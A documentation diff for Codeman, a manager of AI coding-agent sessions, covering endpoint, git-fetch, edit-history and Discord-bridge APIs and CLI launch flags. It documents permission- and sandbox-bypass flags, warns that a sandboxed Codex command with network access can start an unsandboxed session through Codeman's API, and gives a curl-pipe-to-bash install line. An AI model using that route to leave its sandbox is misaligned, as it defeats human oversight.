+the tab to be tried again: Codeman never starts a local process in its place.
+
 ## Approvals Inbox
 
 Cross-session queue of prompts waiting on a human (permission dialogs,
@@ -1205,24 +1340,47 @@ data}` envelope on the wire — unwrap it the same way). Answers `[]` for a
 boolean` reports whether one is stored, so a client can render "unchanged
   if left blank" without ever holding the real value.
 - `POST /api/v1/model-endpoints` with `{ id, label, baseUrl, apiKey?,
-authStyle?, defaultModelId? }` creates one. `id` must match
+authStyle?, defaultModelId?, defaultContextLength? }` creates one. `id`
+  must match
   `^[a-zA-Z0-9_-]+$`; `authStyle` is `bearer` (default) or `api-key`, never
   both (a real server hung indefinitely when sent both headers on one
-  request); `baseUrl` must be `http(s)`, carry no embedded credentials, and
+  request); `defaultContextLength` is a user-set fallback used when
+  assigning a model that discovery has no context length for (discovery
+  itself never writes it); `baseUrl` must be `http(s)`, carry no embedded
+  credentials, and
   is refused if it points at (or resolves to) a link-local or
   cloud-metadata address. `409 ALREADY_EXISTS` on a duplicate id.
-- `PUT /api/v1/model-endpoints/:id` updates one. An **absent** `apiKey`
+- `PUT /api/v1/model-endpoints/:id` updates one, also accepting
+  `defaultContextLength`. An **absent** `apiKey`
   keeps the stored one rather than clearing it — the client never receives
   the real value to resend deliberately unchanged, so omission is the only
   way to say "leave it alone"; there is no way to clear a key back to unset
-  this way. `defaultModelId`, when set, must be one of that endpoint's own
+  this way. `defaultContextLength` behaves the opposite way: a PUT without
+  it clears the stored value, so send the field back to keep it.
+  `defaultModelId`, when set, must be one of that endpoint's own
   `models` (`400 INVALID_INPUT` otherwise).
 - `DELETE /api/v1/model-endpoints/:id` removes one.
 - `POST /api/v1/model-endpoints/:id/discover-models` fetches the endpoint's
   own `GET /v1/models` and stores the result as `models`, updating
-  `lastDiscoveredAt`, plus (best-effort, only for a model llama-swap's own
-  response already reports loaded) `modelContextLengths` and `modelSizesGB`.
-  A `defaultModelId` that no longer appears in the fresh list is dropped
+  `lastDiscoveredAt`, plus (best-effort) `modelContextLengths`,
+  `modelSlotCounts` and `modelSizesGB`: every listing entry is read for a
+  stated context figure (`context_length`, then `context_window`) and a
+  size, BEFORE any loaded check; only the launch-command/`/props`
+  enrichment needs a model llama-swap's own response reports loaded. A
+  loaded model's context figure comes from llama-swap's own launch command
+  (`--fit-ctx` / `-c` / `--ctx-size`), falling back to `/props` (`n_ctx`,
+  `total_slots`) for whatever the command did not answer, and OVERWRITES the
+  listed figure for that model; the model's own listing
+  (`context_length`, then `context_window`) only ever fills the gap when
+  neither probe does, and is recorded as a single-slot figure:
+  llama-swap lists the PER-SLOT window, so whenever the listed figure is
+  the one taken the stored slot count is 1. A server with no `status`
+  field on any entry (plain llama.cpp, a non-llama-swap gateway) gets no
+  launch-command/`/props` enrichment at all, only whatever its listings
+  state. `modelContextLengths` falls back to the
+  endpoint's `defaultContextLength` when a session is assigned a model
+  discovery never learned a window for. A `defaultModelId` that no longer
+  appears in the fresh list is dropped
   rather than carried forward invalid. Failures answer `422 OPERATION_FAILED`
   with the underlying connection error, or a named egress refusal if the
   resolved address turned out to be blocked. The same refresh also runs
@@ -1313,7 +1471,9 @@ The target is judged before anything is written:
 - The folder must not exist, or must be an **empty** directory; a folder with contents is Link Existing's job: `409 ALREADY_EXISTS`. A symlink or a plain file at the target is `400`.
 - `409 ALREADY_EXISTS` also for a case name already in use (in the cases dir or the registry) and for a folder that is already a case.
 
-Admin only in multi-user mode (`403`), like `POST /api/cases/link`: it writes outside the cases directory and into the shared, ownerless registry. If anything fails after the first write, what this call created is removed (the whole folder if it created it, otherwise only the scaffold inside the empty folder you picked) and the response is `500`.
+Admin only in multi-user mode (`403`), like `POST /api/cases/link`: it writes outside the cases directory and into the shared, ownerless registry. If anything fails after the first write, what this call created is removed (the whole folder if it created it, otherwise only the scaffold inside the empty folder you picked) and the response is `500`, or `409 ALREADY_EXISTS` when the name was linked meanwhile, or `409 CONFLICT` when `linked-cases.json` cannot be read or is not a JSON object. Such a file is refused and left as it is, because writing over it would unlink every other case; `POST /api/cases/link` refuses it the same way.
+
+`POST /api/cases/clone` takes the same optional `path`, with `{ name, repository, ref?, shallow?, description?, path? }`. Without `path` the repository is cloned to `<cases dir>/<name>` as always. With `path` the repository is cloned **into that exact folder** (no `<name>` subfolder is added) and registered as a linked case, judged by the same rules as above: `400` for an invalid or blocked path (or a symlink or file at the target), `404` for a missing parent, `422` for an unreachable parent, and `409 ALREADY_EXISTS` for a folder that has files, a name already in use or a folder that is already a case. Admin only in multi-user mode (`403`). An existing empty folder is cloned into directly and is kept, emptied again, if the clone fails; a second clone into the same folder while one is running is refused with `409`. A destination at or inside a Docker case workspace is refused `400 INVALID_INPUT` (git would run the new repository's hooks and filters on the host, and a container can write there), and `503` when the Docker case list cannot be read. If the clone succeeds but the case cannot be registered, the cloned folder is kept and the error names it, then use Link Existing: `409 ALREADY_EXISTS` when the name was linked while git ran, `409 CONFLICT` when `linked-cases.json` is refused as above, and `500 OPERATION_FAILED` when the write itself fails.
 
 ## Git status
 
@@ -1335,16 +1495,29 @@ Both routes accept two optional query parameters, which the UI sends from its pe
 - `state: 'ok'`: `repos[]`, each `{ name, path, status }` where `name` is the repository folder's name, `path` its root relative to the working directory, and `status` is:
   `branch` (null when `detached`), `upstream`, `ahead`, `behind`, `hasRemote`, `counts` (`staged`, `unstaged`, `untracked`, `conflicted`, `uncommitted` = distinct paths, `stashes`), `files[]` (`path` relative to `repoRoot`, `origPath` for a rename, `index` and `worktree` status letters, `kind`: `staged` \| `unstaged` \| `untracked` \| `conflicted`; a file that is staged *and* modified again appears once per kind), `filesTruncated`, `unpushedCount` (exact) and `unpushed[]` (newest first: `hash`, `author`, `time` in epoch seconds, `subject`), `repoRoot`, `checkedAt`.
 - `state: 'not-a-repo'`: no repository here, above (that counts) or within two levels below.
-- `state: 'unsupported'` with `reason: 'remote' | 'docker'`: those sessions are never inspected (a Docker workspace is writable from inside its sandbox, and git here would run on the host).
+- `state: 'unsupported'` with `reason: 'remote' | 'docker' | 'adopted'`: those sessions are never inspected (a Docker workspace is writable from inside its sandbox, and git here would run on the host; an adopted session's `workingDir` is a neutral `/tmp`, not its workspace).
 - `state: 'error'` with a short `error` (git missing, timed out, or git's first stderr line with any `user:token@` credentials redacted).
 
 Lists are capped (300 files and 50 commits per repository) while the counts stay exact. A branch with no upstream reports the commits no remote has (`HEAD --not --remotes`); a repository with no remote reports `unpushedCount: 0`, since there is nothing to push to. Concurrent polls of one folder share a single git invocation; `?fresh=1` (what the panel's Refresh button and opening the panel send) skips the short-lived caches, though it still joins a computation already running.
 
-`POST /api/sessions/:id/git-fetch` is the panel's **Fetch** button: one `git fetch --quiet` per repository the panel would show, through the same resolver so the two cannot disagree about which repositories belong to a workspace, with the same `maxRepos` and `timeout` clamps. It is the only git command the Git panel runs that writes (cloning and worktree management write too, but only when you asked for them at the moment you asked), and it writes remote-tracking refs only: nothing commits, checks out, merges or touches the working tree. It is not quite as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref` while a fetch is running, which is why one folder is fetched by one run at a time. It runs on that click, or on the interval below and never otherwise, and `git fetch` is exactly the command that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, and config commands such as `credential.helper`), which is why nothing runs on a timer until you opt in, and why a repository at or inside a Docker case workspace is refused before any git runs. Remote and Docker sessions answer `state: 'unsupported'` like the status route. Bounded: 4 repositories at a time across the whole run (one shared bound, not one per repository group; a scheduled tick keeps that one bound for all its folders, so 4 folders do not mean 4 × 4, and works at most 4 folders at a time), one spawn per repository with the same per-command timeout, which reaches the whole process group rather than only the `git` parent (a fetch over http spawns helper processes, and a timeout that signals the parent alone can leave one running after the answer goes out), `GIT_TERMINAL_PROMPT=0` plus BatchMode ssh so a repository that needs a login fails fast instead of hanging the request on an invisible prompt. Codeman supplies no credentials, so a repository your own git is already signed in to works because that is your existing setup. That BatchMode ssh is a default, never an override: your own `GIT_SSH_COMMAND` and the repository's `core.sshCommand` are honoured, and ⚠️ the default's `StrictHostKeyChecking=accept-new` records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. A click joins a run already going for the same folder, and the click publishes the trigger of the run it actually did (`click` when the click was the run, `interval` when it joined a tick already going, because a click that fetched nothing cannot report itself as the fetch) as the session's `gitFetch` state (below), so another tab open on the same folder sees the same run.
+`POST /api/sessions/:id/git-fetch` is the panel's **Fetch** button: one `git fetch --quiet` per repository the panel would show, through the same resolver so the two cannot disagree about which repositories belong to a workspace, with the same `maxRepos` and `timeout` clamps. It is the only git command the Git panel runs that writes (cloning and worktree management write too, but only when you asked for them at the moment you asked), and it writes remote-tracking refs only: nothing commits, checks out, merges or touches the working tree. It is not quite as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref` while a fetch is running, which is why one folder is fetched by one run at a time. It runs on that click, or on the interval below and never otherwise, and `git fetch` is exactly the command that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, and config commands such as `credential.helper`), which is why nothing runs on a timer until you opt in, and why a repository at or inside a Docker case workspace is refused before any git runs. Remote, Docker and adopted sessions answer `state: 'unsupported'` like the status route. Bounded: 4 repositories at a time across the whole run (one shared bound, not one per repository group; a scheduled tick keeps that one bound for all its folders, so 4 folders do not mean 4 × 4, and works at most 4 folders at a time), one spawn per repository with the same per-command timeout, which reaches the whole process group rather than only the `git` parent (a fetch over http spawns helper processes, and a timeout that signals the parent alone can leave one running after the answer goes out), `GIT_TERMINAL_PROMPT=0` plus BatchMode ssh so a repository that needs a login fails fast instead of hanging the request on an invisible prompt. Codeman supplies no credentials, so a repository your own git is already signed in to works because that is your existing setup. That BatchMode ssh is a default, never an override: your own `GIT_SSH_COMMAND` and the repository's `core.sshCommand` are honoured, and ⚠️ the default's `StrictHostKeyChecking=accept-new` records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. A click joins a run already going for the same folder, and the click publishes the trigger of the run it actually did (`click` when the click was the run, `interval` when it joined a tick already going, because a click that fetched nothing cannot report itself as the fetch) as the session's `gitFetch` state (below), so another tab open on the same folder sees the same run.
 
 `data` is `{ state, repos, reposTruncated, repoLimit, fetchedAt }`, `repos[]` each `{ name, path, ok }` and, when it failed, `failure` (`{ code, message, stderr }`: the codes as in the clone failures, plus `NO_REMOTE`). A repository that could not be fetched keeps its row rather than being dropped. The panel shows the result under its list and then re-reads, so `behind` reflects what this fetch brought.
 
-The interval is two **synced** settings in `PUT /api/settings` (`src/git-fetch-scheduler.ts`): `gitFetchEnabled` (default `false`) and `gitFetchIntervalSeconds` (30 to 3600, default 300, the gap between runs timed from the start of a run so a slow repository does not push the next one out). Synced, not per-device, because the server is what acts on them; the scheduler reads them fresh on each 15 s tick, so a change works without a restart. A session can override both, and the override wins even while the app-wide switch is off: `POST /api/sessions/:id/git-fetch-settings` takes `{ "enabled": true | false | null, "intervalSeconds": number | null }` (`null` on a field clears that half so the app value applies again, a field left out of the body leaves the other half as it was), is `400 INVALID_INPUT` for a remote or Docker session, and answers `200` with `{ gitFetchSettings: { enabled, intervalSeconds } }` where `null` means the session follows the app. What the last run did rides the session state as `gitFetch` (`{ ranAt, trigger, state, repos, failed, firstFailure? }`, `trigger` is `click` or `interval`), on the existing `SessionUpdated` event: no new event. Sessions on the same folder share one run and both see its result, the schedule is keyed by folder, and a folder is fetched by at most one run at a time; a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins, and the folder is probed once for the whole group rather than once per session on it; every session open on a folder is remembered, so closing the one that holds the override does not stop that folder's fetching while another session is still open on it. The tick skips anything its bounded probe does not confirm is a directory, stamps each folder's schedule when it picks it, and does not run a second tick over a selection still going. Remote and Docker sessions are never fetched on a timer, and the Docker rule is re-checked against the CURRENT Docker roots every tick. Both fetch paths fail closed on a Docker case list (`docker-cases.json`) that exists but cannot be read or parsed: a click answers `200` with `state: 'error'` and publishes that as its `gitFetch`, and a tick fetches nothing and leaves its folders due for the next tick, since without the list nothing tells which folders a container can write to (the read-only status and diff routes keep reading such a list as no Docker workspaces).
+The interval is two **synced** settings in `PUT /api/settings` (`src/git-fetch-scheduler.ts`): `gitFetchEnabled` (default `false`) and `gitFetchIntervalSeconds` (30 to 3600, default 300, the gap between runs timed from the start of a run so a slow repository does not push the next one out). Synced, not per-device, because the server is what acts on them; the scheduler reads them fresh on each 15 s tick, so a change works without a restart. A session can override both, and the override wins even while the app-wide switch is off: `POST /api/sessions/:id/git-fetch-settings` takes `{ "enabled": true | false | null, "intervalSeconds": number | null }` (`null` on a field clears that half so the app value applies again, a field left out of the body leaves the other half as it was), is `400 INVALID_INPUT` for a remote, Docker or adopted session, and answers `200` with `{ gitFetchSettings: { enabled, intervalSeconds } }` where `null` means the session follows the app. What the last run did rides the session state as `gitFetch` (`{ ranAt, trigger, state, repos, failed, firstFailure? }`, `trigger` is `click` or `interval`), on the existing `SessionUpdated` event: no new event. Sessions on the same folder share one run and both see its result, the schedule is keyed by folder, and a folder is fetched by at most one run at a time; a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins, and the folder is probed once for the whole group rather than once per session on it; every session open on a folder is remembered, so closing the one that holds the override does not stop that folder's fetching while another session is still open on it. The tick skips anything its bounded probe does not confirm is a directory, stamps each folder's schedule when it picks it, and does not run a second tick over a selection still going. Remote, Docker and adopted sessions are never fetched on a timer, and the Docker rule is re-checked against the CURRENT Docker roots every tick. Both fetch paths fail closed on a Docker case list (`docker-cases.json`) that exists but cannot be read or parsed: a click answers `200` with `state: 'error'` and publishes that as its `gitFetch`, and a tick fetches nothing and leaves its folders due for the next tick, since without the list nothing tells which folders a container can write to (the read-only status and diff routes keep reading such a list as no Docker workspaces).
+
+
+## Edit history
+
+What the Edit history panel reads (Settings → Header & Panels → Header, per-device, default off): the edits a **claude session** made (local or remote SSH), main agent and subagents, read from its transcripts. Read-only. Every route resolves the session through `findSessionOrFail` (another user's session is `404`). A remote session is read over ssh and never woken: a sleeping host answers `unavailable`. Docker, non-claude and adopted sessions answer `state: 'unsupported'` and are never read.
+
+`GET /api/sessions/:id/edits[?sync=1]` lists the stored edits, newest first, without diffs: `{ state, reason?, backfillTruncated, agents, entries }`. With `sync=1` it first reads what the transcripts gained since the last read (after `/clear` or a resume, the previous conversation's transcripts to their end first); without it the server reads nothing. `state` is `ok`, `unavailable` (stored entries only; `reason` is `no-transcript` before the session has a transcript Codeman can find, `removed` while the session's history is being deleted, or the read error; the transcript is the one the session's hooks report, else the newest `<id>.jsonl` under the session's `CLAUDE_CONFIG_DIR` override or the server's config dir; a remote session sends no hooks, so its host is asked over ssh for the conversation the pane's claude writes now, else the most recently written of the stored conversation, the session's `claudeSessionId` and its id, under the host's `CLAUDE_CONFIG_DIR` or `~/.claude`) or `unsupported` (`reason`: `docker`, `mode`, `adopted`). Each entry is `{ id, ts, path, relPath, kind: 'code'|'image', tool, created, added, removed, truncated, agentId? }`, where `tool` is the edit tool, `bash` for an image a Bash call produced or `sent` for one the agent sent; `relPath` is relative to the workspace (a subagent's worktree for its edits). `agents` maps a subagent id to `{ description, agentType, worktreeBranch? }`. `backfillTruncated: true` means older edits can still be loaded.
+
+`GET /api/sessions/:id/edits/:entryId` returns one edit's diff as unified text: `{ diff, truncated }` (each edit's diff is capped at 64 KiB). `404` for an edit the session does not have.
+
+`POST /api/sessions/:id/edits/older` reads the next older block, within the current conversation, of up to three transcripts, a full read budget each (with more transcripts, main and subagents take turns), and answers like the list.
+
+The edits are stored per session in `~/.codeman/edit-history/<id>.json` (mode 0600, at most 500 edits and 4 MiB of diff text, the oldest dropped), deleted when the session's record is removed (a killed pinned session keeps it; at startup, a file whose session no longer exists is deleted too) and never fed into `/api/v1/search`. No route here serves a file: the panel shows thumbnails through `file-raw` inside the workspace only; an image outside it opens in the file preview, which registers it through the attachment route.
 
 ## Git worktrees of a case
 
@@ -1398,7 +1571,7 @@ A local case whose folder is the top of a git repository can keep **worktrees**
 
 A non-admin's `POST /api/quick-start` and `POST /api/ralph-loop/start` work as before but do not record their case as `lastUsedCase` (a server-wide key).
 
-`POST /api/cases/:name/rename` (body `{ newName, renameFolder?, stopSessions? }`, strict) renames a case. It is not one of the admin-only writes above: in multi-user mode a non-admin renames their own cases, and only the `settings.json` part is skipped for them. A case under the cases directory is its folder, so it always moves; a linked case renames its alias in `linked-cases.json` and moves its real folder (next to the old one, named `newName`) only with `renameFolder: true`. Remote and Docker cases are `400`. The new name must be free in every namespace the list merges (`409`). Live sessions whose working directory is at or inside the folder that would move make it `409` with `requiresStop: true` and `sessions: [{ id, name }]`; retry with `stopSessions: true` to end them first (they are closed as by `DELETE /api/sessions/:id`, nothing is restarted); another user's session is `403`. The folder is held by an in-process lock for the whole operation (an overlapping rename is `409 BUSY`, and `new Session` refuses a working directory inside it); a session that is still being created in the folder (constructed, not yet registered, so it can be neither listed nor stopped) makes a folder move `409` with `renameCode: "BUSY"` too, and a retry once it is registered lists it like any open session; the move is retried for a transient `EBUSY`/`EPERM`/`EACCES` and then answers `423` with `renameCode: "LOCKED"`, a cross-device move is `400`, and if the registries cannot be written afterwards `settings.json` and the folder are put back (when the folder cannot be moved back, the `500` says it is now at the new path). An error from the rename itself carries `stoppedSessions`: how many sessions it ended before it failed. On success the response is `{ oldName, newName, oldPath, newPath, folderMoved, stoppedSessions }`; `caseOrder` and `lastUsedCase` (in multi-user mode, by an admin's rename only), `linked-cases.json` and Claude Code's `projects/<path>` history are updated (history already at the new path is merged into, never overwritten), and `case:renamed` is broadcast. A linked case is admin only in multi-user mode: for a non-admin the name is looked up in their own case space only (`404` when they have no case of that name).
+`POST /api/cases/:name/rename` (body `{ newName, renameFolder?, stopSessions? }`, strict) renames a case. It is not one of the admin-only writes above: in multi-user mode a non-admin renames their own cases, and only the `settings.json` part is skipped for them. A case under the cases directory is its folder, so it always moves; a linked case renames its alias in `linked-cases.json` and moves its real folder (next to the old one, named `newName`) only with `renameFolder: true`. Remote and Docker cases are `400`. The new name must be free in every namespace the list merges (`409`). Live sessions whose working directory is at or inside the folder that would move make it `409` with `requiresStop: true` and `sessions: [{ id, name }]`; retry with `stopSessions: true` to end them first (they are closed as by `DELETE /api/sessions/:id`, nothing is restarted); another user's session is `403`. The folder is held by an in-process lock for the whole operation (an overlapping rename is `409 BUSY`, and `new Session` refuses a working directory inside it); a session that is still being created in the folder (constructed, not yet registered, so it can be neither listed nor stopped) makes a folder move `409` with `renameCode: "BUSY"` too, and a retry once it is registered lists it like any open session; the move is retried for a transient `EBUSY`/`EPERM`/`EACCES` and then answers `423` with `renameCode: "LOCKED"`, a cross-device move is `400`, and if the registries cannot be written afterwards `settings.json` and the folder are put back (when the folder cannot be moved back, the answer is `500` and says it is now at the new path). A failed write is `500`. A linked case's entry is checked again where it is written, after any folder move, and a refusal there puts everything back the same way: a new name linked since the first check is `409 ALREADY_EXISTS` with `renameCode: "EXISTS"`, an old entry unlinked or changed since then is `409 CONFLICT` with `renameCode: "BUSY"`, and a `linked-cases.json` that stopped being readable or a JSON object is `409 CONFLICT` with no `renameCode` (one already damaged when the rename starts reads as empty, so a linked name answers `404`). An error from the rename itself carries `stoppedSessions`: how many sessions it ended before it failed. On success the response is `{ oldName, newName, oldPath, newPath, folderMoved, stoppedSessions }`; `caseOrder` and `lastUsedCase` (in multi-user mode, by an admin's rename only), `linked-cases.json` and Claude Code's `projects/<path>` history are updated (history already at the new path is merged into, never overwritten), and `case:renamed` is broadcast. A linked case is admin only in multi-user mode: for a non-admin the name is looked up in their own case space only (`404` when they have no case of that name).
 
 ### System operations
 
@@ -1486,6 +1659,19 @@ Posts the Web Push events to ntfy, Slack, Discord or a generic JSON URL (Setting
 
 Delivery goes through the same egress guard as web tabs (refused on the resolved address too), does not follow redirects, times out after 5 s, sends the same event for the same session at most once per 3 s, and has at most 5 requests in flight. Error text never contains the URL.
 
+## Discord bridge
+
+One thread per tab in a private Discord channel, alerts out and replies typed back in. Setup (bot, least-privilege permissions, IDs) is in [discord-bridge.md](discord-bridge.md). The bot token is a bearer secret: stored in `~/.codeman/discord.json` (0600), never returned, and the three settings routes are admin only in multi-user mode.
+
+| Method | Path | Body | Notes |
+| ------ | ------ | ------ | ------ |
+| `GET` | `/api/discord` | none | Config without the token, plus `hasToken`, `tokenMasked`, `gateway` (`off` \| `connecting` \| `connected` \| `error`), `gatewayError` and `lastResult`. |
+| `PUT` | `/api/discord` | `{ enabled?, token?, guildId?, parentChannelId?, allowedUserIds?, threadCreation?, onSessionDelete?, staleThreads?, pingMode?, scope?, startupHint? }` (strict) | `threadCreation`: `lazy` \| `onSessionStart`. `onSessionDelete`: `keep` \| `archive` \| `delete`. `pingMode`: `off` \| `critical` \| `all`. `scope`: `attention` \| `all`. An absent `token` keeps the saved one; `""` clears it. `400` for a non-numeric id or enabling without a token, guild, channel and at least one allowed user. |
+| `POST` | `/api/discord/test` | none | Posts one message to the parent channel with the saved config, even while disabled. `200` with `data.ok`; `400` if no token or channel is saved. |
+| `POST` | `/api/sessions/:id/discord-notify` | `{ message, urgent?, file? }` (strict, message 1 to 1500 characters) | A CLI asks for the user: posts into that tab's thread, pinging when `urgent`. `file` is an absolute path inside the tab's working folder (real path, regular file, at most 8 MB, not on the attachment blocklist, local sessions only) uploaded with the post; `400` otherwise. A `200` carries the delivery result: `data.ok` is `false` (with `data.error`) when Discord refused or failed the post. `409` while the bridge is disabled, `429` past 6 posts a minute per tab. The `codeman notify "message" [--urgent] [--file path]` command wraps this route. |
+
+Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge created are typed into a session, as one printable line plus Enter (a lone digit while a permission or question is pending goes as the key alone), at most one per second per tab. Attached files are saved under `.codeman-discord/` in the tab's folder and their paths appended to that line (see [discord-bridge.md](discord-bridge.md)).
+
 ## Diagnostics
 
 `GET /api/doctor[?category=core|office|other]` returns the `codeman doctor --json` report (`platform`, `summary`, `tools[]` with `status` `ok` \| `missing` \| `outdated` \| `skipped` \| `error`, `version`, `path`, `installHint`). The probe engine is synchronous, so it runs in a child process of the same entry script, never on the server's event loop (30 s timeout). It names install paths and versions, so it is admin only in multi-user mode (`403`). `400` for an unknown category, `500` if the child produces no report.

docs/architecture-invariants.md

@@ -41,7 +41,7 @@ Pure helpers unit-tested in `test/base-path.test.ts` + `test/webview-proxy.test.
 
 ### External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)
 
-**External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)**: `isExternalCliMode()` in `session.ts` (`mode === 'opencode' || 'codex' || 'gemini' || 'antigravity' || 'pi' || 'grok' || 'deepseek'`) gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). ⚠️ **Work detection left this gate in #385** and is now per-CLI `capabilities.workDetect` data (`promptGlyph` + `workingLine`), because gating it on the mode left every Codex session reporting `idle` for its entire life; a CLI declaring neither falls back to Claude's pair, which is logic-identical to the pre-registry behaviour. All seven modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv` (socket-scoped `${this.tmux()} setenv`, never on the spawn command line): OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars`), Gemini gets `GEMINI_API_KEY`/`GOOGLE_API_KEY`/`GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc. (`setGeminiEnvVars`, all in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--model`, `--config model_reasoning_effort=<level>` from `reasoningEffort`, `--config tui.animations=<bool>` from `animations`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode). Gemini specifics: command built by `buildGeminiCommand()` (`--skip-trust` always, `--approval-mode <default|auto_edit|yolo|plan>` defaulting to `yolo` for parity with Claude's `--dangerously-skip-permissions`, `--model`, `--resume` from the `geminiConfig` payload); availability via `GET /api/gemini/status` — session/quick-start routes fail with `OPERATION_FAILED` + install hint (`npm install -g @google/gemini-cli`) when missing. Codex, Gemini, Antigravity, Pi, Grok, DeepSeek and OMP export `COLORTERM=truecolor` and unset `NO_COLOR`; `opencode` unsets `COLORTERM`. **Terminal colour env** under Session launch modes covers Claude and says which panes those declarations actually reach. Gemini joins `isAltScreenStripMode()` (Codex/Claude/Gemini are Ink TUIs that repaint inline → strip alt-screen/`3J` so scrollback survives). Codex availability via `GET /api/codex/status`. Antigravity specifics: command built by `buildAntigravityCommand()` (`--model`, `--conversation <id>` resume, `--dangerously-skip-permissions` from the `antigravityConfig` payload); availability via `GET /api/antigravity/status` — routes fail with `OPERATION_FAILED` + install hint (`curl -fsSL https://antigravity.google/cli/install.sh | bash`) when missing. Unlike the other three it is NOT an npm package (standalone binary, `~/.local/bin/agy`), which is why `docker/agent.Dockerfile` installs it with its own `--dir /usr/local/bin` step rather than in the `npm install -g` line, and why it does NOT join `isAltScreenStripMode()`. Frontend: run-mode dropdown → `runCodex()`/`runGemini()` in `session-ui.js` ("Run CX"/"Run GM" labels), App Settings → Agents & CLIs → Codex; Respawn/Ralph options are Claude-only, so session options open on the Session tab for external CLI sessions. ⚠️ `run*()` MUST unwrap the `{success,data}` envelope (`(await res.json()).data.available` / `data.data.sessionId`) — reading the raw shape silently breaks the run. Tests: `test/run-mode-ui.test.ts` + `test/gemini-mode.test.ts` (vm-sandbox harness, no real DOM). Grok specifics: command built by `buildGrokCommand()` (`--always-approve` from `grokConfig.alwaysApprove` — grok's `bypassPermissions` permission mode, deny rules still apply; `--model`; `--resume <id>` / `--continue`, id-regexed so grok's resume-by-TITLE feature can never put an arbitrary string on the spawn line); availability via `GET /api/grok/status`, which carries `version` because the resolver version-probes candidates (`grok` has npm squatters, e.g. @vibe-kit/grok-cli — `GROK_VERSION_REGEX` is shared with the dependency registry so doctor and run mode agree). Like antigravity it is a standalone binary (xAI installer → `~/.grok/bin`, symlinked into `~/.local/bin`), so `docker/agent.Dockerfile` installs it in its own step (copy to `/usr/local/bin`, drop root's `~/.grok` in the same layer) and it stays OUT of `isAltScreenStripMode()` (fullscreen alt-screen TUI with mouse support — the opencode case, which is now `isMuxMouseStripMode`, not the Ink case). Env allowlist: `GROK_*` plus the vendor namespace `XAI_*` (`XAI_API_KEY` is grok's documented headless auth var — the same narrow-vendor-namespace reasoning as `GOOGLE_*` for gemini). Docker cred seeding is per-file (`auth.json`, `config.toml`, `pager.toml` from `~/.grok` — the dir also holds `sessionsLine truncated
+**External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)**: `isExternalCliMode()` in `session.ts` (`mode === 'opencode' || 'codex' || 'gemini' || 'antigravity' || 'pi' || 'grok' || 'deepseek'`) gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). ⚠️ **Work detection left this gate in #385** and is now per-CLI `capabilities.workDetect` data (`promptGlyph` + `workingLine`), because gating it on the mode left every Codex session reporting `idle` for its entire life; a CLI declaring neither falls back to Claude's pair, which is logic-identical to the pre-registry behaviour. All seven modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv` (socket-scoped `${this.tmux()} setenv`, never on the spawn command line): OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars`), Gemini gets `GEMINI_API_KEY`/`GOOGLE_API_KEY`/`GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc. (`setGeminiEnvVars`, all in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--no-daemon` behind the `noDaemonFlag` gate at 0.162.0, measured against codex's own version, local launches only; `--model`, `--config model_reasoning_effort=<level>` from `reasoningEffort`, `--config sandbox_workspace_write.network_access=true` from `networkAccess` (the **Allow network access** app setting `codexNetworkAccess`, a launch default and a privileged param; ⚠️ with it on, a command in codex's sandbox can call Codeman's API and start a session outside that sandbox, password or not), `--config tui.animations=<bool>` from `animations`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode). Gemini specifics: command built by `buildGeminiCommand()` (`--skip-trust` always, `--approval-mode <default|auto_edit|yolo|plan>` defaulting to `yolo` for parity with Claude's `--dangerously-skip-permissions`, `--model`, `--resume` from the `geminiConfig` payload); availability via `GET /api/gemini/status` — session/quick-start routes fail with `OPERATION_FAILED` + install hint (`npm install -g @google/gemini-cli`) when missing. Codex, Gemini, Antigravity, Pi, Grok, DeepSeek and OMP export `COLORTERM=truecolor` and unset `NO_COLOR`; `opencode` unsets `COLORTERM`. **Terminal colour env** under Session launch modes covers Claude and says which panes those declarations actually reach. Gemini joins `isAltScreenStripMode()` (Codex/Claude/Gemini are Ink TUIs that repaint inline → strip alt-screen/`3J` so scrollback survives). Codex availability via `GET /api/codex/status`. Antigravity specifics: command built by `buildAntigravityCommand()` (`--model`, `--conversation <id>` resume, `--dangerously-skip-permissions` from the `antigravityConfig` payload); availability via `GET /api/antigravity/status` — routes fail with `OPERATION_FAILED` + install hint (`curl -fsSL https://antigravity.google/cli/install.sh | bash`) when missing. 